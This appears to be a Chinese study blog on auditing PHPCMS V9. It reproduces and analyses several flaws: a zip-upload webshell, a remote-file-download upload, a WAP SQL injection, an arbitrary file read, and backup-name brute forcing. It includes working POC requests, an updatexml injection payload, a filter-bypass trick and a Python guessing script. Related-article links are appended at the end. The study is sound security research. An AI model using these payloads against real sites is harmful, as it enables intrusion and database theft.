PHPCMSV9版本代码审计学习
学习代码审计,自己简单记录一下。如有错误望师傅斧正。
PHPCMS预备知识
PHPCMS是采用MVC设计模式开发,基于模块和操作的方式进行访问,采用单一入口模式进行项目部署和访问,无论访问任何一个模块或者功能,只有一个统一的入口。
参数名称 | 描述 | 位置 | 备注 |
---|---|---|---|
m | 模型/模块名称 | phpcms/modules中模块目录名称 |
必须 |
c | 控制器名称 | phpcms/modules/模块/*.php 文件名称 |
必须 |
a | 事件名称 | phpcms/modules/模块/*.php 中方法名称 |
PHPCMSV9.2上传Getshell
漏洞复现
我们搭建好环境直接注册,找到修改头像。
)
我们在本地创建一个zip文件里面包含一个文件夹,一个我们的恶意代码。通过Burp修改掉。
访问phpsso_server/uploadfile/avatar/1/1/1/av/av.php
其中1是我们的uid
漏洞分析
重复以上步骤。通过burp我们找到上传事件,我们直接去代码定位这个函数。
然后去代码找到函数直接断点调试
根据用户UID创建文件夹,防止用户多了文件夹重复创建了两次,然后检测目录创建,没有就创建一次,否则跳过。
根据uid重命名我们的压缩包文件
压缩包的文件就是我们上传的压缩包文件
之后进行解压缩文件
之后进入dir中循环判断文件安全,删除压缩包和非jpg图片
走到遍历白名单判断文件,排除.
(当前目录)..
(上级目录)下图删除了压缩包文件
再次循环时$file=av 而av是目录。unlink是不能删除目录的。所以出现异常。
所以进而我们的恶意文件留在了服务器里面。这就是为什么上面利用的压缩包里的恶意代码文件需要放在目录下
漏洞修复
不使用zip压缩包处理图片文件。因为后端需要处理特别多的数据。
PHPCMSV9.6.0任意文件上传漏洞
漏洞复现
先注册然后抓包
其中要准备一个远程的服务器下的恶意代码
准备我们的POC如下
siteid=1&modelid=11&username=123456&password=123456&email=12345@qq.com&info[content]=<img src=http://192.168.0.100/phpinfo.txt?.php#.jpg>&dosubmit=1&protocol=
然后修改放包会报一个错误,会返回我们的URL路径
漏洞分析
我们直接找到刚刚我们的包,他是在index.php
进入member
模块中的index
文件里面有一个register
函数
我们现在打开我们的代码定位函数,路径如下
为了更好的理解POC的巧妙。我们正常注册一次然后用POC注册一次分析
前面就是一堆信息的验证作用不大,我们继续跟踪到130行
if($member_setting['choosemodel']) {
require_once CACHE_MODEL_PATH.'member_input.class.php';
require_once CACHE_MODEL_PATH.'member_update.class.php';
$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
$user_model_info = $member_input->get($_POST['info']); //重点 }
在这里我们看见$_POST['info']
使用了member_input
类中的get
方法我们跟踪进去。
走到47行获取了datatime
函数,this->fields
是一个动态函数对应的一张表根据modelid
来确定的formytpe
。如下图
【也可以跟进去一步步来,微信搜索黑白天的文章。有详细解释,建议自己跟一遍】
我那们跟进去datatime
函数 就是做了一校验然后又返回给$value
然后就是插入两次数据库,一个插入v9_member
表一个生日日期和用户id插入到v9_member_detail
表中,至此正常流程走完。
接下来我们分析一下POC流程
值得注意的是我们必须保证username email是唯一
然后我们继续定位到130行,发现content
是我们的内容
经过new_html_special_chars
就是防止XSS 所以实体化
于是我们变成了下面这样子。继续跟踪get方法同上
这里我们获取的是editor
函数。
在这个函数中我们有一个download
方法
我们跟踪download方法,发现以下关键代码
$ext = 'gif|jpg|jpeg|bmp|png'
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
这就是为什么我们写info[content]=<img src-http://xxxx/phpinfo.txt?.php#.jpg(符合这个格式,而且加.jpg
的原因)
到155行这里他把我们的$string
值复制给了$matches
$matches [3]刚好是我们的链接,所以真的很巧妙
接着我们跟踪fillurl
方法,里面有一串关键代码如下
$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);
strpos
定位#,然后使用substr
处理?.php#.jpg
,处理完之后$surl =?.php
继续执行,可以发现返回的url去掉了#后面的内容
然后获取后缀名。然后通过getname
方法生成时间+三位数的文件名,如果不返回文件地址的url我们也可以进行爆破处理。
此时进行了copy
函数对远程文件下载
这里的$this->upload_func
是copy函数的原因,是因为初始化时赋给的
此时我们的文件已经到我们的本地了
接着我们来看看写入文件的路劲是如何返回给我们的。上面程序执行完以后,回到了register
函数中:
继续跟进$this->db->insert($user_model_info);
发现数据库插入的字段都不一样继续执行就会报错。前台提示的信息一样,没有这个字段当然报错
Message : Unknown column 'content' in 'field list'
漏洞修复
在phpcms9.6.1中修复了该漏洞,修复方案就是对用fileext
获取到的文件后缀再用黑白名单分别过滤一次
$filename = fileext($file);
if(!preg_match("/($ext)/is",$filename) || in_array($filename, array('php','phtml','php3','php4','jsp','dll','asp','cer','asa','shtml','shtm','aspx','asax','cgi','fcgi','pl'))){
continue;
}
PHPCMSV9.6.0 WAP模块 SQL注入分析
漏洞复现
首先第一步访问
/index.php?m=wap&c=index&siteid=1
把得到的set-cookie 记录下来
第二步以POST方式访问【下面是测试爆user的】就是一个报错注入语句
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26
并且传参userid_flash
其中的值就是第一步我们得到的set-cookie
userid_flash=72eciDDbmkE3Tr6LjGQhB3H34p3N1xsgWWbi2VNY
把加密的json
值记录下来
第三步以POST的方式访问
/index.php?m=content&c=down&a_k=第二步得到的Json值
漏洞分析
其实我们就是通过最后一次提交的数据来爆出来的东西。我们就逆向分析。看第三步的URL做了些什么
/index.php?m=content&c=down&a_k=第二步得到的Json值
我们定位到content
模块down
文件中发现并没有a_k
方法
说明是自动执行的那就是init()
和__construct()
__construct()
基本没东西,我们直接下断init
走到14行看到sys_auth
然后他就是一个加密解密的函数,我们这里不分析加密解密只分析功能
经过sys_auth
解密得到
{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}
走到17行发现一个系统函数parse_str
这个函数用不好容易出现变量覆盖。可以自己查一下
我们知道用法了就是把$id
给弄出来
然后直接到26行跟踪get_one
函数,发现后面就直接执行语句了。
肯定有人现在好奇那第三步为什么会得到这个值,我们返回到14行
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
我们怎么得到a_k的值,怎么得到的这个规范进行解密,因为他需要('system','auth_key')我们并不知道
所以我们需要知道谁调用了这个函数
我们回到第二步的POC
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=###payload###&m=1&f=haha&modelid=2&catid=7&
userid_flash=Set-Cookie
我们找到attachment
模块下的attachments
文件中的swfupload_json
函数
到src
时有一个safe_replace
函数我们跟进
发现一个waf所以我们的src为什么要写成%*27的原因,就是为了绕过一次waf
继续到set_cookie
我们跟进去发现set_cookie
调用了sys_auth
这个函数并且进行了ENCODE
刚好我们又可以再前台看见
至于我们为什么要传入一个POST值,是在__construct
中如果没有这个userid
他会showmessage
而userid
是17行的关键代码。我们肯定没有userid
嘛所以三元表达式到第三个,他进行解密一次并且userid=1
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
现在POST值是怎么拿到的呢,回到第一步,访问的URL
/index.php?m=wap&c=index&siteid=1
我们周到wap
下的index
下的siteid
而siteid
直接就在__construct
函数里面,于是经过一次set_cookie
加密
我们现在来顺利一下整个过程
修复建议
把$a_k过滤一次,把$id用intval
过滤一次
PHPCMS9.6.1任意文件读取
漏洞复现
步骤同上一个漏洞所以就不截图了
第一步访问把得到的set-cookie 记录下来
/index.php?m=wap&c=index&siteid=1
第二步访问
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=pad%3Dx%26i%3D1%26modelid%3D1%26catid%3D1%26d%3D1%26m%3D1%26s%3D./phpcms/base%26f%3D.p%25253chp
同样POST传递值
userid_flash=第一步获取的Set-cookie
第三部访问
/index.php?m=content&c=down&a=init&a_k=第二步获取的set-cookie
就可以下载我们要下载的文件
漏洞分析
我们还是和wap_SQL注入
那样逆向分析一下
/index.php?m=content&c=down&a=init&a_k=set-cookie
经过解密之后
{"aid":1,"src":"pad=x&i=1&modelid=1&catid=1&d=1&m=1&s=.\/phpcms\/base&f=.p%253chp","filename":""}
经过safe_replace
处理之后
"aid":1,"src":"pad=x&i=1&modelid=1&catid=1&d=1&m=1&s=./phpcms/base&f=.p%253chp","filename":""
但是我们关键的是&s和&f没有任何变化
再经过parse_str
处理我们的url会被解码一次
$f现在就是.p%3cphp
然后downurl
发生变化我们点击下载到download函数
经过一次解密再经过parse_str
转码%3c=> <
走到118行因为传递的m=1经过$fileurl
把他拼接起来变成
.\phpcms\base.p<hp
if($m) $fileurl = trim($s).trim($fileurl); //118行代码
然后走到125行进行随机名称生成,126行他又把$fileurl
的<给去掉了
$filename = date('Ymd_his').random(3).'.'.$ext; //125
$fileurl = str_replace(array('<','>'), '',$fileurl); //126
然后就进行一个原始下载。
第二部分和第一部分参考上面wap_sql
注入,原理一样。我们现在梳理一下这个漏洞。
从最下面分析,他过滤了<> 然后到上面php等一些黑名单 那就P<HP就可以
$fileurl
是通过$s
来的和$f
来的。而$f和$s
是通过构造$a_k
来的,其中就DECODE
了两次
所以要通过siteid=1
来进行ENCODE
一次。我们为什么要传一个userid_flash
因为attachments
下的析构函数中的userid
不能为空
而我们没登陆所以需要sys_auth($_POST['userid_flash'],DECODE')
解密一下传入的userid_flash
使得userid=1
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] :(param::get_cookie('_userid') ? param::get_cookie('_userid') :sys_auth($_POST['userid_flash'],'DECODE'));
又经过set_cookie('att_json',$json_str)
;然后又返回到前台set-cookie
最终通过以下方法进行了下载
index.php?m=content&c=down&a=init&a_k=set-cookie
漏洞修复
官方V9.6.2是先过滤<>再进行php等黑名单过滤,我们还是可以继续通过空白字符来进行绕过的
%81-%99间的字符是不会被trim去掉的且在windows中还能正常访问到相应的文件。并且得到auth_key之后还可以进行其他的操作例如SQL注入等
PHPCMSV9暴力猜解数据库
备份路径 \caches\bakup\default\xxxx.sql
而问题出现在哪,我们先看POC。
poc:
/api.php?op=creatimg&txt=1&font=/../../../../caches/bakup/default/s<<.sql
原因:
windows的FindFirstFile(API)有个特性就是可以把<<当成通配符来用而PHP的opendir(win32readdir.c)就使用了该API。PHP的文件操作函数均调用了opendir,所以file_exists也有此特性。
pwaaov0zodprrm5371pe_db_20210715_1.sql
file_exists --- opendir -- FindFirstFile -- << 通配符
file_exists - << 通配符
333xxxx.sql
3<<.sql
file_exists(3<<.sql)
因为返回的只不同所以我们可以逐个猜解
附上斗鱼Sec脚本
#!/usr/bin/env python
# coding=utf-8
'''
author: dysec
'''
import urllib2
def check(url):
mark = True
req = urllib2.Request(url)
req.add_header('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')
response = urllib2.urlopen(req)
content = response.read()
if 'Cannot' in content:
mark = False
return mark
def guest(target):
arr = []
num = map(chr, range(48, 58))
alpha = map(chr, range(97, 123))
exploit = '%s/api.php?op=creatimg&txt=dysec&font=/../../../../caches/bakup/default/%s%s<<.sql'
while True:
for char in num:
if check(exploit % (target, ''.join(arr), char)):
arr.append(char)
continue
if len(arr) < 20:
for char in alpha:
if check(exploit % (target, ''.join(arr), char)):
arr.append(char)
continue
elif len(arr) == 20:
arr.append('_db_')
elif len(arr) == 29:
arr.append('_1.sql')
break
if len(arr) < 1:
print '[*]not find!'
return
print '[*]find: %s/caches/bakup/default/%s' % (target, ''.join(arr))
if __name__ == "__main__":
url = 'http://www.x.com'
#test
guest(url)
PHPCMSV9版本代码审计学习的更多相关文章
- bluecms v1.6 sp1 代码审计学习
前言 正式开始代码审计的学习,拓宽自己的知识面.代码审计学习的动力也是来自团队里的王叹之师傅,向王叹之师傅学习. 这里参考了一些前辈,师傅的复现经验和bluecms审计的心得 安装 install.p ...
- blfs(systemd版本)学习笔记-构建gnome桌面系统
我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! 大概思路: lfs(系统)+xorg(驱动)+gnome(桌面组件) 链接: lfs(systemd版本)学习笔记系列:http ...
- lfs(systemd版本)学习笔记-第3页
我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! lfs(systemd)学习笔记-第2页 的地址:https://www.cnblogs.com/renren-study-no ...
- lfs(systemd版本)学习笔记-第4页
我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! lfs(systemd版本)学习笔记-第3页 的地址:https://www.cnblogs.com/renren-study- ...
- blfs(systemd版本)学习笔记-总页
我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! lfs(systemd版本)学习笔记:https://www.cnblogs.com/renren-study-notes/p/ ...
- lfs(systemd版本)学习笔记-第1页
我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! 一名linux爱好者,记录构建Linux From Scratch的过程 经博客园-骏马金龙前辈介绍,开始接触学习lfs,用博客 ...
- lfs(systemd版本)学习笔记-第2页
我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! lfs(systemd)学习笔记-第1页 的地址:https://www.cnblogs.com/renren-study-no ...
- blfs(systemv版本)学习笔记-制作一个简单的桌面系统
我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! 大概思路: lfs(系统)+xorg(驱动)+i3-wm(窗口+桌面)+lightdm(显示管理器+登录管理器) 链接: lfs ...
- lfs(systemv版本)学习笔记-第4页
我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! lfs(systemv版本)学习笔记第3页:https://www.cnblogs.com/renren-study-notes ...
随机推荐
- 第6讲 | 交换机与VLAN:办公室太复杂,我要回学校
第6讲 | 交换机与VLAN:办公室太复杂,我要回学校 拓扑结构是怎么形成的? 一个交换机肯定不够用,需要多台交换机,交换机之间连接起来,就形成一个稍微复杂的拓扑结构. 如何解决常见的环路问题? 包转 ...
- VMware vRealize Network Insight 6.2 发布 - 网络和安全可视化分析
发现.优化应用安全性和网络连接解决方案并对其进行故障排除 VMware vRealize Network Insight 可帮助您跨混合和多云环境构建经过优化且高度可用的安全网络基础架构.它提供了网络 ...
- Runtime PM 处理不当导致的 external abort on non-linefetch 案例分享
硬件平台:某ARM SoC 软件平台:Linux 1 Runtime PM 简介 在介绍 Runtime PM 之前,不妨先看看传统的电源管理.传统的电源管理机制,称之为 System PM(Syst ...
- opencv——自适应阈值Canny边缘检测
前言 Canny边缘检测速度很快,OpenCV中经常会用到Canny边缘检测,以前的Demo中使用Canny边缘检测都是自己手动修改高低阈值参数,最近正好要研究点小东西时,就想能不能做个自适应的阈值, ...
- 彻底解决Could not transfer artifact org.apache.maven.plugins问题
今天在学习maven框架的时候出现Could not transfer artifact org.apache.maven.plugins问题,后面根据很多博客综合总结,终于解决了,现在分享一下我的方 ...
- 八、Pandas 表格处理
pandas有两个数据结构,一个是series 另一个是DataFrame from matplotlib import pyplot as plt import numpy as np import ...
- java 常见OPTS参数的含义
1. -XX:MaxPermSize=256m -XX:MaxPermSize=128M JVM最大允许分配的非堆内存,按需分配 2. java.awt.headless Headless模式是系统的 ...
- 聊聊 apt sources.list 文件格式
前言 之前玩 ubuntu 需要切换国内源地址时,都是网上复制别人提供好的,也不知道是什么意思,拿来就用. 这次花点时间来看一下 apt sources.list 的格式,以及其表示的含义. 格式 s ...
- GPU加速计算
GPU加速计算 NVIDIA A100 Tensor Core GPU 可针对 AI.数据分析和高性能计算 (HPC),在各种规模上实现出色的加速,应对极其严峻的计算挑战.作为 NVIDIA 数据中心 ...
- PyTorch中的MIT ADE20K数据集的语义分割
PyTorch中的MIT ADE20K数据集的语义分割 代码地址:https://github.com/CSAILVision/semantic-segmentation-pytorch Semant ...